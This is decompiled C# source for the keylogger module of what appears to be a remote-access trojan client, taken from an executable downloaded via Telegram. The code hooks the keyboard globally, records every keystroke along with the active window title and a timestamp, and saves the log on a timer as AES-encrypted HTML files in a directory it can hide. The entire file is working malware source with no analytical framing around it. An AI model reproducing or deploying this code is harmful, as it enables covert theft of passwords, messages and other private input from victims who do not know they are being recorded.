﻿// Decompiled with JetBrains decompiler
// Type: InvokedClient.Logging.Keylogger
// Assembly: Client, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 79DD3210-3359-47C5-932E-9352F2CB8134
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\client.exe

using System;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Text;
using System.Timers;
using System.Web;
using System.Windows.Forms;
using Gma.System.MouseKeyHook;
using InvokedClient.Config;
using InvokedClient.Extensions;
using InvokedClient.Helper;
using InvokedCommon.Cryptography;
using InvokedCommon.Helpers;

namespace InvokedClient.Logging
{
	public class Keylogger : IDisposable
	{
		private readonly System.Timers.Timer _timerFlush;
		private readonly StringBuilder _logFileBuffer = new StringBuilder();
		private readonly List<Keys> _pressedKeys = new List<Keys>();
		private readonly List<char> _pressedKeyChars = new List<char>();
		private string _lastWindowTitle = string.Empty;
		private bool _ignoreSpecialKeys;
		private readonly IKeyboardMouseEvents _mEvents;
		private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
		private readonly long _maxLogFileSize;

		public bool IsDisposed { get; private set; }

		public Keylogger(double flushInterval, long maxLogFileSize)
		{
			this._maxLogFileSize = maxLogFileSize;
			this._mEvents = Hook.GlobalEvents();
			this._timerFlush = new System.Timers.Timer()
			{
				Interval = flushInterval
			};
			this._timerFlush.Elapsed += new ElapsedEventHandler(this.TimerElapsed);
		}

		public void Start()
		{
			this.Subscribe();
			this._timerFlush.Start();
		}

		public void Dispose()
		{
			this.Dispose(true);
			GC.SuppressFinalize((object)this);
		}

		protected virtual void Dispose(bool disposing)
		{
			if (this.IsDisposed)
				return;
			if (disposing)
			{
				this.Unsubscribe();
				this._timerFlush.Stop();
				this._timerFlush.Dispose();
				this._mEvents.Dispose();
				this.WriteFile();
			}
			this.IsDisposed = true;
		}

		private void Subscribe()
		{
			this._mEvents.KeyDown += new KeyEventHandler(this.OnKeyDown);
			this._mEvents.KeyUp += new KeyEventHandler(this.OnKeyUp);
			this._mEvents.KeyPress += new KeyPressEventHandler(this.OnKeyPress);
		}

		private void Unsubscribe()
		{
			this._mEvents.KeyDown -= new KeyEventHandler(this.OnKeyDown);
			this._mEvents.KeyUp -= new KeyEventHandler(this.OnKeyUp);
			this._mEvents.KeyPress -= new KeyPressEventHandler(this.OnKeyPress);
		}

		private void OnKeyDown(object sender, KeyEventArgs e)
		{
			string foregroundWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle();
			if (!string.IsNullOrEmpty(foregroundWindowTitle) && foregroundWindowTitle != this._lastWindowTitle)
			{
				this._lastWindowTitle = foregroundWindowTitle;
				this._logFileBuffer.Append("<p class=\"h\"><br><br>[<b>" + HttpUtility.HtmlEncode(foregroundWindowTitle) + " - " + DateTime.UtcNow.ToString("t", (IFormatProvider)DateTimeFormatInfo.InvariantInfo) + " UTC</b>]</p><br>");
			}
			if (this._pressedKeys.ContainsModifierKeys() && !this._pressedKeys.Contains(e.KeyCode))
			{
				this._pressedKeys.Add(e.KeyCode);
			}
			else
			{
				if (e.KeyCode.IsExcludedKey() || this._pressedKeys.Contains(e.KeyCode))
					return;
				this._pressedKeys.Add(e.KeyCode);
			}
		}

		private void OnKeyPress(object sender, KeyPressEventArgs e)
		{
			if (this._pressedKeys.ContainsModifierKeys() && this._pressedKeys.ContainsKeyChar(e.KeyChar) || this._pressedKeyChars.Contains(e.KeyChar) && this.DetectKeyHolding(this._pressedKeyChars, e.KeyChar) || this._pressedKeys.ContainsKeyChar(e.KeyChar))
				return;
			string str = HttpUtility.HtmlEncode(e.KeyChar.ToString());
			if (string.IsNullOrEmpty(str))
				return;
			if (this._pressedKeys.ContainsModifierKeys())
				this._ignoreSpecialKeys = true;
			this._pressedKeyChars.Add(e.KeyChar);
			this._logFileBuffer.Append(str);
		}

		private void OnKeyUp(object sender, KeyEventArgs e)
		{
			this._logFileBuffer.Append(this.HighlightSpecialKeys(this._pressedKeys.ToArray()));
			this._pressedKeyChars.Clear();
		}

		private bool DetectKeyHolding(List<char> list, char search)
		{
			return list.FindAll((Predicate<char>)(s => s.Equals(search))).Count > 1;
		}

		private string HighlightSpecialKeys(Keys[] keys)
		{
			if (keys.Length < 1)
				return string.Empty;
			string[] strArray = new string[keys.Length];
			for (int index = 0; index < keys.Length; ++index)
			{
				if (!this._ignoreSpecialKeys)
				{
					strArray[index] = keys[index].GetDisplayName();
				}
				else
				{
					strArray[index] = string.Empty;
					this._pressedKeys.Remove(keys[index]);
				}
			}
			this._ignoreSpecialKeys = false;
			if (this._pressedKeys.ContainsModifierKeys())
			{
				StringBuilder stringBuilder = new StringBuilder();
				int num = 0;
				for (int index = 0; index < strArray.Length; ++index)
				{
					this._pressedKeys.Remove(keys[index]);
					if (!string.IsNullOrEmpty(strArray[index]))
					{
						stringBuilder.AppendFormat(num == 0 ? "<p class=\"h\">[{0}" : " + {0}", (object)strArray[index]);
						++num;
					}
				}
				if (num > 0)
					stringBuilder.Append("]</p>");
				return stringBuilder.ToString();
			}
			StringBuilder stringBuilder1 = new StringBuilder();
			for (int index = 0; index < strArray.Length; ++index)
			{
				this._pressedKeys.Remove(keys[index]);
				if (!string.IsNullOrEmpty(strArray[index]))
				{
					switch (strArray[index])
					{
						case "Return":
							stringBuilder1.Append("<p class=\"h\">[Enter]</p><br>");
							continue;
						case "Escape":
							stringBuilder1.Append("<p class=\"h\">[Esc]</p>");
							continue;
						default:
							stringBuilder1.Append("<p class=\"h\">[" + strArray[index] + "]</p>");
							continue;
					}
				}
			}
			return stringBuilder1.ToString();
		}

		private void TimerElapsed(object sender, ElapsedEventArgs e)
		{
			if (this._logFileBuffer.Length <= 0)
				return;
			this.WriteFile();
		}

		private void WriteFile()
		{
			bool flag = false;
			string str = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd"));
			try
			{
				DirectoryInfo directoryInfo = new DirectoryInfo(Settings.LOGSPATH);
				if (!directoryInfo.Exists)
					directoryInfo.Create();
				if (Settings.HIDELOGDIRECTORY)
					directoryInfo.Attributes = FileAttributes.Hidden | FileAttributes.Directory;
				int num = 1;
				while (File.Exists(str) && new FileInfo(str).Length >= this._maxLogFileSize)
				{
					string path2 = string.Format("{0}_{1}", (object)Path.GetFileName(str), (object)num);
					str = Path.Combine(Settings.LOGSPATH, path2);
					++num;
				}
				if (!File.Exists(str))
					flag = true;
				StringBuilder stringBuilder = new StringBuilder();
				if (flag)
				{
					stringBuilder.Append("<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " + DateTime.UtcNow.ToString("f", (IFormatProvider)DateTimeFormatInfo.InvariantInfo) + " UTC<br><br>");
					stringBuilder.Append("<style>.h { color: f76707; display: inline; }</style>");
					this._lastWindowTitle = string.Empty;
				}
				if (this._logFileBuffer.Length > 0)
					stringBuilder.Append((object)this._logFileBuffer);
				FileHelper.WriteLogFile(str, stringBuilder.ToString(), this._aesInstance);
				stringBuilder.Clear();
			}
			catch
			{
			}
			this._logFileBuffer.Clear();
		}
	}
}